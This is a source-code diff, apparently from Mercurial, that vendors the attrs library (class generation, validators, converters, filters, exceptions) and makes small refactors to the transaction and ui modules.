+    ..  versionadded:: 16.1.0 *frozen*
+    ..  versionadded:: 16.3.0 *str*, and support for ``__attrs_post_init__``.
+    ..  versionchanged::
+            17.1.0 *hash* supports ``None`` as value which is also the default
+            now.
+    """
+    def wrap(cls):
+        if getattr(cls, "__class__", None) is None:
+            raise TypeError("attrs only works with new-style classes.")
+
+        if repr is False and str is True:
+            raise ValueError(
+                "__str__ can only be generated if a __repr__ exists."
+            )
+
+        if slots:
+            # Only need this later if we're using slots.
+            if these is None:
+                ca_list = [name
+                           for name, attr
+                           in cls.__dict__.items()
+                           if isinstance(attr, _CountingAttr)]
+            else:
+                ca_list = list(iterkeys(these))
+        _transform_attrs(cls, these)
+
+        # Can't just re-use frozen name because Python's scoping. :(
+        # Can't compare function objects because Python 2 is terrible. :(
+        effectively_frozen = _has_frozen_superclass(cls) or frozen
+        if repr is True:
+            cls = _add_repr(cls, ns=repr_ns)
+        if str is True:
+            cls.__str__ = cls.__repr__
+        if cmp is True:
+            cls = _add_cmp(cls)
+
+        if hash is not True and hash is not False and hash is not None:
+            raise TypeError(
+                "Invalid value for hash.  Must be True, False, or None."
+            )
+        elif hash is False or (hash is None and cmp is False):
+            pass
+        elif hash is True or (hash is None and cmp is True and frozen is True):
+            cls = _add_hash(cls)
+        else:
+            cls.__hash__ = None
+
+        if init is True:
+            cls = _add_init(cls, effectively_frozen)
+        if effectively_frozen is True:
+            cls.__setattr__ = _frozen_setattrs
+            cls.__delattr__ = _frozen_delattrs
+            if slots is True:
+                # slots and frozen require __getstate__/__setstate__ to work
+                cls = _add_pickle(cls)
+        if slots is True:
+            cls_dict = dict(cls.__dict__)
+            cls_dict["__slots__"] = tuple(ca_list)
+            for ca_name in ca_list:
+                # It might not actually be in there, e.g. if using 'these'.
+                cls_dict.pop(ca_name, None)
+            cls_dict.pop("__dict__", None)
+
+            qualname = getattr(cls, "__qualname__", None)
+            cls = type(cls)(cls.__name__, cls.__bases__, cls_dict)
+            if qualname is not None:
+                cls.__qualname__ = qualname
+
+        return cls
+
+    # attrs_or class type depends on the usage of the decorator.  It's a class
+    # if it's used as `@attributes` but ``None`` if used # as `@attributes()`.
+    if maybe_cls is None:
+        return wrap
+    else:
+        return wrap(maybe_cls)
+
+
+if PY2:
+    def _has_frozen_superclass(cls):
+        """
+        Check whether *cls* has a frozen ancestor by looking at its
+        __setattr__.
+        """
+        return (
+            getattr(
+                cls.__setattr__, "__module__", None
+            ) == _frozen_setattrs.__module__ and
+            cls.__setattr__.__name__ == _frozen_setattrs.__name__
+        )
+else:
+    def _has_frozen_superclass(cls):
+        """
+        Check whether *cls* has a frozen ancestor by looking at its
+        __setattr__.
+        """
+        return cls.__setattr__ == _frozen_setattrs
+
+
+def _attrs_to_tuple(obj, attrs):
+    """
+    Create a tuple of all values of *obj*'s *attrs*.
+    """
+    return tuple(getattr(obj, a.name) for a in attrs)
+
+
+def _add_hash(cls, attrs=None):
+    """
+    Add a hash method to *cls*.
+    """
+    if attrs is None:
+        attrs = [a
+                 for a in cls.__attrs_attrs__
+                 if a.hash is True or (a.hash is None and a.cmp is True)]
+
+    def hash_(self):
+        """
+        Automatically created by attrs.
+        """
+        return hash(_attrs_to_tuple(self, attrs))
+
+    cls.__hash__ = hash_
+    return cls
+
+
+def _add_cmp(cls, attrs=None):
+    """
+    Add comparison methods to *cls*.
+    """
+    if attrs is None:
+        attrs = [a for a in cls.__attrs_attrs__ if a.cmp]
+
+    def attrs_to_tuple(obj):
+        """
+        Save us some typing.
+        """
+        return _attrs_to_tuple(obj, attrs)
+
+    def eq(self, other):
+        """
+        Automatically created by attrs.
+        """
+        if other.__class__ is self.__class__:
+            return attrs_to_tuple(self) == attrs_to_tuple(other)
+        else:
+            return NotImplemented
+
+    def ne(self, other):
+        """
+        Automatically created by attrs.
+        """
+        result = eq(self, other)
+        if result is NotImplemented:
+            return NotImplemented
+        else:
+            return not result
+
+    def lt(self, other):
+        """
+        Automatically created by attrs.
+        """
+        if isinstance(other, self.__class__):
+            return attrs_to_tuple(self) < attrs_to_tuple(other)
+        else:
+            return NotImplemented
+
+    def le(self, other):
+        """
+        Automatically created by attrs.
+        """
+        if isinstance(other, self.__class__):
+            return attrs_to_tuple(self) <= attrs_to_tuple(other)
+        else:
+            return NotImplemented
+
+    def gt(self, other):
+        """
+        Automatically created by attrs.
+        """
+        if isinstance(other, self.__class__):
+            return attrs_to_tuple(self) > attrs_to_tuple(other)
+        else:
+            return NotImplemented
+
+    def ge(self, other):
+        """
+        Automatically created by attrs.
+        """
+        if isinstance(other, self.__class__):
+            return attrs_to_tuple(self) >= attrs_to_tuple(other)
+        else:
+            return NotImplemented
+
+    cls.__eq__ = eq
+    cls.__ne__ = ne
+    cls.__lt__ = lt
+    cls.__le__ = le
+    cls.__gt__ = gt
+    cls.__ge__ = ge
+
+    return cls
+
+
+def _add_repr(cls, ns=None, attrs=None):
+    """
+    Add a repr method to *cls*.
+    """
+    if attrs is None:
+        attrs = [a for a in cls.__attrs_attrs__ if a.repr]
+
+    def repr_(self):
+        """
+        Automatically created by attrs.
+        """
+        real_cls = self.__class__
+        if ns is None:
+            qualname = getattr(real_cls, "__qualname__", None)
+            if qualname is not None:
+                class_name = qualname.rsplit(">.", 1)[-1]
+            else:
+                class_name = real_cls.__name__
+        else:
+            class_name = ns + "." + real_cls.__name__
+
+        return "{0}({1})".format(
+            class_name,
+            ", ".join(a.name + "=" + repr(getattr(self, a.name))
+                      for a in attrs)
+        )
+    cls.__repr__ = repr_
+    return cls
+
+
+def _add_init(cls, frozen):
+    """
+    Add a __init__ method to *cls*.  If *frozen* is True, make it immutable.
+    """
+    attrs = [a for a in cls.__attrs_attrs__
+             if a.init or a.default is not NOTHING]
+
+    # We cache the generated init methods for the same kinds of attributes.
+    sha1 = hashlib.sha1()
+    sha1.update(repr(attrs).encode("utf-8"))
+    unique_filename = "<attrs generated init {0}>".format(
+        sha1.hexdigest()
+    )
+
+    script, globs = _attrs_to_script(
+        attrs,
+        frozen,
+        getattr(cls, "__attrs_post_init__", False),
+    )
+    locs = {}
+    bytecode = compile(script, unique_filename, "exec")
+    attr_dict = dict((a.name, a) for a in attrs)
+    globs.update({
+        "NOTHING": NOTHING,
+        "attr_dict": attr_dict,
+    })
+    if frozen is True:
+        # Save the lookup overhead in __init__ if we need to circumvent
+        # immutability.
+        globs["_cached_setattr"] = _obj_setattr
+    eval(bytecode, globs, locs)
+    init = locs["__init__"]
+
+    # In order of debuggers like PDB being able to step through the code,
+    # we add a fake linecache entry.
+    linecache.cache[unique_filename] = (
+        len(script),
+        None,
+        script.splitlines(True),
+        unique_filename
+    )
+    cls.__init__ = init
+    return cls
+
+
+def _add_pickle(cls):
+    """
+    Add pickle helpers, needed for frozen and slotted classes
+    """
+    def _slots_getstate__(obj):
+        """
+        Play nice with pickle.
+        """
+        return tuple(getattr(obj, a.name) for a in fields(obj.__class__))
+
+    def _slots_setstate__(obj, state):
+        """
+        Play nice with pickle.
+        """
+        __bound_setattr = _obj_setattr.__get__(obj, Attribute)
+        for a, value in zip(fields(obj.__class__), state):
+            __bound_setattr(a.name, value)
+
+    cls.__getstate__ = _slots_getstate__
+    cls.__setstate__ = _slots_setstate__
+    return cls
+
+
+def fields(cls):
+    """
+    Returns the tuple of ``attrs`` attributes for a class.
+
+    The tuple also allows accessing the fields by their names (see below for
+    examples).
+
+    :param type cls: Class to introspect.
+
+    :raise TypeError: If *cls* is not a class.
+    :raise attr.exceptions.NotAnAttrsClassError: If *cls* is not an ``attrs``
+        class.
+
+    :rtype: tuple (with name accesors) of :class:`attr.Attribute`
+
+    ..  versionchanged:: 16.2.0 Returned tuple allows accessing the fields
+        by name.
+    """
+    if not isclass(cls):
+        raise TypeError("Passed object must be a class.")
+    attrs = getattr(cls, "__attrs_attrs__", None)
+    if attrs is None:
+        raise NotAnAttrsClassError(
+            "{cls!r} is not an attrs-decorated class.".format(cls=cls)
+        )
+    return attrs
+
+
+def validate(inst):
+    """
+    Validate all attributes on *inst* that have a validator.
+
+    Leaves all exceptions through.
+
+    :param inst: Instance of a class with ``attrs`` attributes.
+    """
+    if _config._run_validators is False:
+        return
+
+    for a in fields(inst.__class__):
+        v = a.validator
+        if v is not None:
+            v(inst, a, getattr(inst, a.name))
+
+
+def _attrs_to_script(attrs, frozen, post_init):
+    """
+    Return a script of an initializer for *attrs* and a dict of globals.
+
+    The globals are expected by the generated script.
+
+     If *frozen* is True, we cannot set the attributes directly so we use
+    a cached ``object.__setattr__``.
+    """
+    lines = []
+    if frozen is True:
+        lines.append(
+            # Circumvent the __setattr__ descriptor to save one lookup per
+            # assignment.
+            "_setattr = _cached_setattr.__get__(self, self.__class__)"
+        )
+
+        def fmt_setter(attr_name, value_var):
+            return "_setattr('%(attr_name)s', %(value_var)s)" % {
+                "attr_name": attr_name,
+                "value_var": value_var,
+            }
+
+        def fmt_setter_with_converter(attr_name, value_var):
+            conv_name = _init_convert_pat.format(attr_name)
+            return "_setattr('%(attr_name)s', %(conv)s(%(value_var)s))" % {
+                "attr_name": attr_name,
+                "value_var": value_var,
+                "conv": conv_name,
+            }
+    else:
+        def fmt_setter(attr_name, value):
+            return "self.%(attr_name)s = %(value)s" % {
+                "attr_name": attr_name,
+                "value": value,
+            }
+
+        def fmt_setter_with_converter(attr_name, value_var):
+            conv_name = _init_convert_pat.format(attr_name)
+            return "self.%(attr_name)s = %(conv)s(%(value_var)s)" % {
+                "attr_name": attr_name,
+                "value_var": value_var,
+                "conv": conv_name,
+            }
+
+    args = []
+    attrs_to_validate = []
+
+    # This is a dictionary of names to validator and converter callables.
+    # Injecting this into __init__ globals lets us avoid lookups.
+    names_for_globals = {}
+
+    for a in attrs:
+        if a.validator:
+            attrs_to_validate.append(a)
+        attr_name = a.name
+        arg_name = a.name.lstrip("_")
+        has_factory = isinstance(a.default, Factory)
+        if has_factory and a.default.takes_self:
+            maybe_self = "self"
+        else:
+            maybe_self = ""
+        if a.init is False:
+            if has_factory:
+                init_factory_name = _init_factory_pat.format(a.name)
+                if a.convert is not None:
+                    lines.append(fmt_setter_with_converter(
+                        attr_name,
+                        init_factory_name + "({0})".format(maybe_self)))
+                    conv_name = _init_convert_pat.format(a.name)
+                    names_for_globals[conv_name] = a.convert
+                else:
+                    lines.append(fmt_setter(
+                        attr_name,
+                        init_factory_name + "({0})".format(maybe_self)
+                    ))
+                names_for_globals[init_factory_name] = a.default.factory
+            else:
+                if a.convert is not None:
+                    lines.append(fmt_setter_with_converter(
+                        attr_name,
+                        "attr_dict['{attr_name}'].default"
+                        .format(attr_name=attr_name)
+                    ))
+                    conv_name = _init_convert_pat.format(a.name)
+                    names_for_globals[conv_name] = a.convert
+                else:
+                    lines.append(fmt_setter(
+                        attr_name,
+                        "attr_dict['{attr_name}'].default"
+                        .format(attr_name=attr_name)
+                    ))
+        elif a.default is not NOTHING and not has_factory:
+            args.append(
+                "{arg_name}=attr_dict['{attr_name}'].default".format(
+                    arg_name=arg_name,
+                    attr_name=attr_name,
+                )
+            )
+            if a.convert is not None:
+                lines.append(fmt_setter_with_converter(attr_name, arg_name))
+                names_for_globals[_init_convert_pat.format(a.name)] = a.convert
+            else:
+                lines.append(fmt_setter(attr_name, arg_name))
+        elif has_factory:
+            args.append("{arg_name}=NOTHING".format(arg_name=arg_name))
+            lines.append("if {arg_name} is not NOTHING:"
+                         .format(arg_name=arg_name))
+            init_factory_name = _init_factory_pat.format(a.name)
+            if a.convert is not None:
+                lines.append("    " + fmt_setter_with_converter(attr_name,
+                                                                arg_name))
+                lines.append("else:")
+                lines.append("    " + fmt_setter_with_converter(
+                    attr_name,
+                    init_factory_name + "({0})".format(maybe_self)
+                ))
+                names_for_globals[_init_convert_pat.format(a.name)] = a.convert
+            else:
+                lines.append("    " + fmt_setter(attr_name, arg_name))
+                lines.append("else:")
+                lines.append("    " + fmt_setter(
+                    attr_name,
+                    init_factory_name + "({0})".format(maybe_self)
+                ))
+            names_for_globals[init_factory_name] = a.default.factory
+        else:
+            args.append(arg_name)
+            if a.convert is not None:
+                lines.append(fmt_setter_with_converter(attr_name, arg_name))
+                names_for_globals[_init_convert_pat.format(a.name)] = a.convert
+            else:
+                lines.append(fmt_setter(attr_name, arg_name))
+
+    if attrs_to_validate:  # we can skip this if there are no validators.
+        names_for_globals["_config"] = _config
+        lines.append("if _config._run_validators is True:")
+        for a in attrs_to_validate:
+            val_name = "__attr_validator_{}".format(a.name)
+            attr_name = "__attr_{}".format(a.name)
+            lines.append("    {}(self, {}, self.{})".format(
+                val_name, attr_name, a.name))
+            names_for_globals[val_name] = a.validator
+            names_for_globals[attr_name] = a
+    if post_init:
+        lines.append("self.__attrs_post_init__()")
+
+    return """\
+def __init__(self, {args}):
+    {lines}
+""".format(
+        args=", ".join(args),
+        lines="\n    ".join(lines) if lines else "pass",
+    ), names_for_globals
+
+
+class Attribute(object):
+    """
+    *Read-only* representation of an attribute.
+
+    :attribute name: The name of the attribute.
+
+    Plus *all* arguments of :func:`attr.ib`.
+    """
+    __slots__ = (
+        "name", "default", "validator", "repr", "cmp", "hash", "init",
+        "convert", "metadata",
+    )
+
+    def __init__(self, name, default, validator, repr, cmp, hash, init,
+                 convert=None, metadata=None):
+        # Cache this descriptor here to speed things up later.
+        bound_setattr = _obj_setattr.__get__(self, Attribute)
+
+        bound_setattr("name", name)
+        bound_setattr("default", default)
+        bound_setattr("validator", validator)
+        bound_setattr("repr", repr)
+        bound_setattr("cmp", cmp)
+        bound_setattr("hash", hash)
+        bound_setattr("init", init)
+        bound_setattr("convert", convert)
+        bound_setattr("metadata", (metadata_proxy(metadata) if metadata
+                                   else _empty_metadata_singleton))
+
+    def __setattr__(self, name, value):
+        raise FrozenInstanceError()
+
+    @classmethod
+    def from_counting_attr(cls, name, ca):
+        inst_dict = {
+            k: getattr(ca, k)
+            for k
+            in Attribute.__slots__
+            if k not in (
+                "name", "validator", "default",
+            )  # exclude methods
+        }
+        return cls(name=name, validator=ca._validator, default=ca._default,
+                   **inst_dict)
+
+    # Don't use _add_pickle since fields(Attribute) doesn't work
+    def __getstate__(self):
+        """
+        Play nice with pickle.
+        """
+        return tuple(getattr(self, name) if name != "metadata"
+                     else dict(self.metadata)
+                     for name in self.__slots__)
+
+    def __setstate__(self, state):
+        """
+        Play nice with pickle.
+        """
+        bound_setattr = _obj_setattr.__get__(self, Attribute)
+        for name, value in zip(self.__slots__, state):
+            if name != "metadata":
+                bound_setattr(name, value)
+            else:
+                bound_setattr(name, metadata_proxy(value) if value else
+                              _empty_metadata_singleton)
+
+
+_a = [Attribute(name=name, default=NOTHING, validator=None,
+                repr=True, cmp=True, hash=(name != "metadata"), init=True)
+      for name in Attribute.__slots__]
+
+Attribute = _add_hash(
+    _add_cmp(_add_repr(Attribute, attrs=_a), attrs=_a),
+    attrs=[a for a in _a if a.hash]
+)
+
+
+class _CountingAttr(object):
+    """
+    Intermediate representation of attributes that uses a counter to preserve
+    the order in which the attributes have been defined.
+
+    *Internal* data structure of the attrs library.  Running into is most
+    likely the result of a bug like a forgotten `@attr.s` decorator.
+    """
+    __slots__ = ("counter", "_default", "repr", "cmp", "hash", "init",
+                 "metadata", "_validator", "convert")
+    __attrs_attrs__ = tuple(
+        Attribute(name=name, default=NOTHING, validator=None,
+                  repr=True, cmp=True, hash=True, init=True)
+        for name
+        in ("counter", "_default", "repr", "cmp", "hash", "init",)
+    ) + (
+        Attribute(name="metadata", default=None, validator=None,
+                  repr=True, cmp=True, hash=False, init=True),
+    )
+    cls_counter = 0
+
+    def __init__(self, default, validator, repr, cmp, hash, init, convert,
+                 metadata):
+        _CountingAttr.cls_counter += 1
+        self.counter = _CountingAttr.cls_counter
+        self._default = default
+        # If validator is a list/tuple, wrap it using helper validator.
+        if validator and isinstance(validator, (list, tuple)):
+            self._validator = and_(*validator)
+        else:
+            self._validator = validator
+        self.repr = repr
+        self.cmp = cmp
+        self.hash = hash
+        self.init = init
+        self.convert = convert
+        self.metadata = metadata
+
+    def validator(self, meth):
+        """
+        Decorator that adds *meth* to the list of validators.
+
+        Returns *meth* unchanged.
+
+        .. versionadded:: 17.1.0
+        """
+        if self._validator is None:
+            self._validator = meth
+        else:
+            self._validator = and_(self._validator, meth)
+        return meth
+
+    def default(self, meth):
+        """
+        Decorator that allows to set the default for an attribute.
+
+        Returns *meth* unchanged.
+
+        :raises DefaultAlreadySetError: If default has been set before.
+
+        .. versionadded:: 17.1.0
+        """
+        if self._default is not NOTHING:
+            raise DefaultAlreadySetError()
+
+        self._default = Factory(meth, takes_self=True)
+
+        return meth
+
+
+_CountingAttr = _add_cmp(_add_repr(_CountingAttr))
+
+
+@attributes(slots=True, init=False)
+class Factory(object):
+    """
+    Stores a factory callable.
+
+    If passed as the default value to :func:`attr.ib`, the factory is used to
+    generate a new value.
+
+    :param callable factory: A callable that takes either none or exactly one
+        mandatory positional argument depending on *takes_self*.
+    :param bool takes_self: Pass the partially initialized instance that is
+        being initialized as a positional argument.
+
+    .. versionadded:: 17.1.0  *takes_self*
+    """
+    factory = attr()
+    takes_self = attr()
+
+    def __init__(self, factory, takes_self=False):
+        """
+        `Factory` is part of the default machinery so if we want a default
+        value here, we have to implement it ourselves.
+        """
+        self.factory = factory
+        self.takes_self = takes_self
+
+
+def make_class(name, attrs, bases=(object,), **attributes_arguments):
+    """
+    A quick way to create a new class called *name* with *attrs*.
+
+    :param name: The name for the new class.
+    :type name: str
+
+    :param attrs: A list of names or a dictionary of mappings of names to
+        attributes.
+    :type attrs: :class:`list` or :class:`dict`
+
+    :param tuple bases: Classes that the new class will subclass.
+
+    :param attributes_arguments: Passed unmodified to :func:`attr.s`.
+
+    :return: A new class with *attrs*.
+    :rtype: type
+
+    ..  versionadded:: 17.1.0 *bases*
+    """
+    if isinstance(attrs, dict):
+        cls_dict = attrs
+    elif isinstance(attrs, (list, tuple)):
+        cls_dict = dict((a, attr()) for a in attrs)
+    else:
+        raise TypeError("attrs argument must be a dict or a list.")
+
+    return attributes(**attributes_arguments)(type(name, bases, cls_dict))
+
+
+# These are required by whithin this module so we define them here and merely
+# import into .validators.
+
+
+@attributes(slots=True, hash=True)
+class _AndValidator(object):
+    """
+    Compose many validators to a single one.
+    """
+    _validators = attr()
+
+    def __call__(self, inst, attr, value):
+        for v in self._validators:
+            v(inst, attr, value)
+
+
+def and_(*validators):
+    """
+    A validator that composes multiple validators into one.
+
+    When called on a value, it runs all wrapped validators.
+
+    :param validators: Arbitrary number of validators.
+    :type validators: callables
+
+    .. versionadded:: 17.1.0
+    """
+    vals = []
+    for validator in validators:
+        vals.extend(
+            validator._validators if isinstance(validator, _AndValidator)
+            else [validator]
+        )
+
+    return _AndValidator(tuple(vals))
diff --git a/mercurial/thirdparty/attr/converters.py b/mercurial/thirdparty/attr/converters.py
new file mode 100644
--- /dev/null
+++ b/mercurial/thirdparty/attr/converters.py
@@ -0,0 +1,24 @@
+"""
+Commonly useful converters.
+"""
+
+from __future__ import absolute_import, division, print_function
+
+
+def optional(converter):
+    """
+    A converter that allows an attribute to be optional. An optional attribute
+    is one which can be set to ``None``.
+
+    :param callable converter: the converter that is used for non-``None``
+        values.
+
+    ..  versionadded:: 17.1.0
+    """
+
+    def optional_converter(val):
+        if val is None:
+            return None
+        return converter(val)
+
+    return optional_converter
diff --git a/mercurial/thirdparty/attr/exceptions.py b/mercurial/thirdparty/attr/exceptions.py
new file mode 100644
--- /dev/null
+++ b/mercurial/thirdparty/attr/exceptions.py
@@ -0,0 +1,39 @@
+from __future__ import absolute_import, division, print_function
+
+
+class FrozenInstanceError(AttributeError):
+    """
+    A frozen/immutable instance has been attempted to be modified.
+
+    It mirrors the behavior of ``namedtuples`` by using the same error message
+    and subclassing :exc:`AttributeError`.
+
+    .. versionadded:: 16.1.0
+    """
+    msg = "can't set attribute"
+    args = [msg]
+
+
+class AttrsAttributeNotFoundError(ValueError):
+    """
+    An ``attrs`` function couldn't find an attribute that the user asked for.
+
+    .. versionadded:: 16.2.0
+    """
+
+
+class NotAnAttrsClassError(ValueError):
+    """
+    A non-``attrs`` class has been passed into an ``attrs`` function.
+
+    .. versionadded:: 16.2.0
+    """
+
+
+class DefaultAlreadySetError(RuntimeError):
+    """
+    A default has been set using ``attr.ib()`` and is attempted to be reset
+    using the decorator.
+
+    .. versionadded:: 17.1.0
+    """
diff --git a/mercurial/thirdparty/attr/filters.py b/mercurial/thirdparty/attr/filters.py
new file mode 100644
--- /dev/null
+++ b/mercurial/thirdparty/attr/filters.py
@@ -0,0 +1,52 @@
+"""
+Commonly useful filters for :func:`attr.asdict`.
+"""
+
+from __future__ import absolute_import, division, print_function
+
+from ._compat import isclass
+from ._make import Attribute
+
+
+def _split_what(what):
+    """
+    Returns a tuple of `frozenset`s of classes and attributes.
+    """
+    return (
+        frozenset(cls for cls in what if isclass(cls)),
+        frozenset(cls for cls in what if isinstance(cls, Attribute)),
+    )
+
+
+def include(*what):
+    """
+    Whitelist *what*.
+
+    :param what: What to whitelist.
+    :type what: :class:`list` of :class:`type` or :class:`attr.Attribute`\ s
+
+    :rtype: :class:`callable`
+    """
+    cls, attrs = _split_what(what)
+
+    def include_(attribute, value):
+        return value.__class__ in cls or attribute in attrs
+
+    return include_
+
+
+def exclude(*what):
+    """
+    Blacklist *what*.
+
+    :param what: What to blacklist.
+    :type what: :class:`list` of classes or :class:`attr.Attribute`\ s.
+
+    :rtype: :class:`callable`
+    """
+    cls, attrs = _split_what(what)
+
+    def exclude_(attribute, value):
+        return value.__class__ not in cls and attribute not in attrs
+
+    return exclude_
diff --git a/mercurial/thirdparty/attr/validators.py b/mercurial/thirdparty/attr/validators.py
new file mode 100644
--- /dev/null
+++ b/mercurial/thirdparty/attr/validators.py
@@ -0,0 +1,166 @@
+"""
+Commonly useful validators.
+"""
+
+from __future__ import absolute_import, division, print_function
+
+from ._make import attr, attributes, and_, _AndValidator
+
+
+__all__ = [
+    "and_",
+    "in_",
+    "instance_of",
+    "optional",
+    "provides",
+]
+
+
+@attributes(repr=False, slots=True, hash=True)
+class _InstanceOfValidator(object):
+    type = attr()
+
+    def __call__(self, inst, attr, value):
+        """
+        We use a callable class to be able to change the ``__repr__``.
+        """
+        if not isinstance(value, self.type):
+            raise TypeError(
+                "'{name}' must be {type!r} (got {value!r} that is a "
+                "{actual!r})."
+                .format(name=attr.name, type=self.type,
+                        actual=value.__class__, value=value),
+                attr, self.type, value,
+            )
+
+    def __repr__(self):
+        return (
+            "<instance_of validator for type {type!r}>"
+            .format(type=self.type)
+        )
+
+
+def instance_of(type):
+    """
+    A validator that raises a :exc:`TypeError` if the initializer is called
+    with a wrong type for this particular attribute (checks are perfomed using
+    :func:`isinstance` therefore it's also valid to pass a tuple of types).
+
+    :param type: The type to check for.
+    :type type: type or tuple of types
+
+    :raises TypeError: With a human readable error message, the attribute
+        (of type :class:`attr.Attribute`), the expected type, and the value it
+        got.
+    """
+    return _InstanceOfValidator(type)
+
+
+@attributes(repr=False, slots=True, hash=True)
+class _ProvidesValidator(object):
+    interface = attr()
+
+    def __call__(self, inst, attr, value):
+        """
+        We use a callable class to be able to change the ``__repr__``.
+        """
+        if not self.interface.providedBy(value):
+            raise TypeError(
+                "'{name}' must provide {interface!r} which {value!r} "
+                "doesn't."
+                .format(name=attr.name, interface=self.interface, value=value),
+                attr, self.interface, value,
+            )
+
+    def __repr__(self):
+        return (
+            "<provides validator for interface {interface!r}>"
+            .format(interface=self.interface)
+        )
+
+
+def provides(interface):
+    """
+    A validator that raises a :exc:`TypeError` if the initializer is called
+    with an object that does not provide the requested *interface* (checks are
+    performed using ``interface.providedBy(value)`` (see `zope.interface
+    <https://zopeinterface.readthedocs.io/en/latest/>`_).
+
+    :param zope.interface.Interface interface: The interface to check for.
+
+    :raises TypeError: With a human readable error message, the attribute
+        (of type :class:`attr.Attribute`), the expected interface, and the
+        value it got.
+    """
+    return _ProvidesValidator(interface)
+
+
+@attributes(repr=False, slots=True, hash=True)
+class _OptionalValidator(object):
+    validator = attr()
+
+    def __call__(self, inst, attr, value):
+        if value is None:
+            return
+
+        self.validator(inst, attr, value)
+
+    def __repr__(self):
+        return (
+            "<optional validator for {what} or None>"
+            .format(what=repr(self.validator))
+        )
+
+
+def optional(validator):
+    """
+    A validator that makes an attribute optional.  An optional attribute is one
+    which can be set to ``None`` in addition to satisfying the requirements of
+    the sub-validator.
+
+    :param validator: A validator (or a list of validators) that is used for
+        non-``None`` values.
+    :type validator: callable or :class:`list` of callables.
+
+    .. versionadded:: 15.1.0
+    .. versionchanged:: 17.1.0 *validator* can be a list of validators.
+    """
+    if isinstance(validator, list):
+        return _OptionalValidator(_AndValidator(validator))
+    return _OptionalValidator(validator)
+
+
+@attributes(repr=False, slots=True, hash=True)
+class _InValidator(object):
+    options = attr()
+
+    def __call__(self, inst, attr, value):
+        if value not in self.options:
+            raise ValueError(
+                "'{name}' must be in {options!r} (got {value!r})"
+                .format(name=attr.name, options=self.options, value=value)
+            )
+
+    def __repr__(self):
+        return (
+            "<in_ validator with options {options!r}>"
+            .format(options=self.options)
+        )
+
+
+def in_(options):
+    """
+    A validator that raises a :exc:`ValueError` if the initializer is called
+    with a value that does not belong in the options provided.  The check is
+    performed using ``value in options``.
+
+    :param options: Allowed options.
+    :type options: list, tuple, :class:`enum.Enum`, ...
+
+    :raises ValueError: With a human readable error message, the attribute (of
+       type :class:`attr.Attribute`), the expected options, and the value it
+       got.
+
+    .. versionadded:: 17.1.0
+    """
+    return _InValidator(options)
diff --git a/mercurial/transaction.py b/mercurial/transaction.py
--- a/mercurial/transaction.py
+++ b/mercurial/transaction.py
@@ -101,7 +101,7 @@
         # only pure backup file remains, it is sage to ignore any error
         pass
 
-class transaction(object):
+class transaction(util.transactional):
     def __init__(self, report, opener, vfsmap, journalname, undoname=None,
                  after=None, createmode=None, validator=None, releasefn=None,
                  checkambigfiles=None):
@@ -376,16 +376,6 @@
         if self.count > 0 and self.usages == 0:
             self._abort()
 
-    def __enter__(self):
-        return self
-
-    def __exit__(self, exc_type, exc_val, exc_tb):
-        try:
-            if exc_type is None:
-                self.close()
-        finally:
-            self.release()
-
     def running(self):
         return self.count > 0
 
diff --git a/mercurial/ui.py b/mercurial/ui.py
--- a/mercurial/ui.py
+++ b/mercurial/ui.py
@@ -53,6 +53,8 @@
 [commands]
 # Make `hg status` emit cwd-relative paths by default.
 status.relative = yes
+# Refuse to perform an `hg update` that would cause a file content merge
+update.check = noconflict
 
 [diff]
 git = 1
@@ -60,12 +62,17 @@
 
 samplehgrcs = {
     'user':
-"""# example user config (see 'hg help config' for more info)
+b"""# example user config (see 'hg help config' for more info)
 [ui]
 # name and email, e.g.
 # username = Jane Doe <jdoe@example.com>
 username =
 
+# We recommend enabling tweakdefaults to get slight improvements to
+# the UI over time. Make sure to set HGPLAIN in the environment when
+# writing scripts!
+# tweakdefaults = True
+
 # uncomment to disable color in command output
 # (see 'hg help color' for details)
 # color = never
@@ -82,7 +89,7 @@
 """,
 
     'cloned':
-"""# example repository config (see 'hg help config' for more info)
+b"""# example repository config (see 'hg help config' for more info)
 [paths]
 default = %s
 
@@ -99,7 +106,7 @@
 """,
 
     'local':
-"""# example repository config (see 'hg help config' for more info)
+b"""# example repository config (see 'hg help config' for more info)
 [paths]
 # path aliases to other clones of this repo in URLs or filesystem paths
 # (see 'hg help config.paths' for more info)
@@ -115,7 +122,7 @@
 """,
 
     'global':
-"""# example system-wide hg config (see 'hg help config' for more info)
+b"""# example system-wide hg config (see 'hg help config' for more info)
 
 [ui]
 # uncomment to disable color in command output
@@ -135,6 +142,15 @@
 """,
 }
 
+def _maybestrurl(maybebytes):
+    if maybebytes is None:
+        return None
+    return pycompat.strurl(maybebytes)
+
+def _maybebytesurl(maybestr):
+    if maybestr is None:
+        return None
+    return pycompat.bytesurl(maybestr)
 
 class httppasswordmgrdbproxy(object):
     """Delays loading urllib2 until it's needed."""
@@ -146,11 +162,19 @@
             self._mgr = urlreq.httppasswordmgrwithdefaultrealm()
         return self._mgr
 
-    def add_password(self, *args, **kwargs):
-        return self._get_mgr().add_password(*args, **kwargs)
+    def add_password(self, realm, uris, user, passwd):
+        if isinstance(uris, tuple):
+            uris = tuple(_maybestrurl(u) for u in uris)
+        else:
+            uris = _maybestrurl(uris)
+        return self._get_mgr().add_password(
+            _maybestrurl(realm), uris,
+            _maybestrurl(user), _maybestrurl(passwd))
 
-    def find_user_password(self, *args, **kwargs):
-        return self._get_mgr().find_user_password(*args, **kwargs)
+    def find_user_password(self, realm, uri):
+        return tuple(_maybebytesurl(v) for v in
+                     self._get_mgr().find_user_password(_maybestrurl(realm),
+                                                        _maybestrurl(uri)))
 
 def _catchterm(*args):
     raise error.SignalInterrupt
@@ -159,6 +183,9 @@
 # retrieving configuration value.
 _unset = object()
 
+# _reqexithandlers: callbacks run at the end of a request
+_reqexithandlers = []
+
 class ui(object):
     def __init__(self, src=None):
         """Create a fresh new ui object if no src given
@@ -169,8 +196,6 @@
         """
         # _buffers: used for temporary capture of output
         self._buffers = []
-        # _exithandlers: callbacks run at the end of a request
-        self._exithandlers = []
         # 3-tuple describing how each buffer in the stack behaves.
         # Values are (capture stderr, capture subprocesses, apply labels).
         self._bufferstates = []
@@ -196,7 +221,6 @@
         self._styles = {}
 
         if src:
-            self._exithandlers = src._exithandlers
             self.fout = src.fout
             self.ferr = src.ferr
             self.fin = src.fin
@@ -453,6 +477,10 @@
 
         if item is not None:
             alternates.extend(item.alias)
+        else:
+            msg = ("accessing unregistered config item: '%s.%s'")
+            msg %= (section, name)
+            self.develwarn(msg, 2, 'warn-config-unknown')
 
         if default is _unset:
             if item is None:
@@ -531,19 +559,19 @@
     def configbool(self, section, name, default=_unset, untrusted=False):
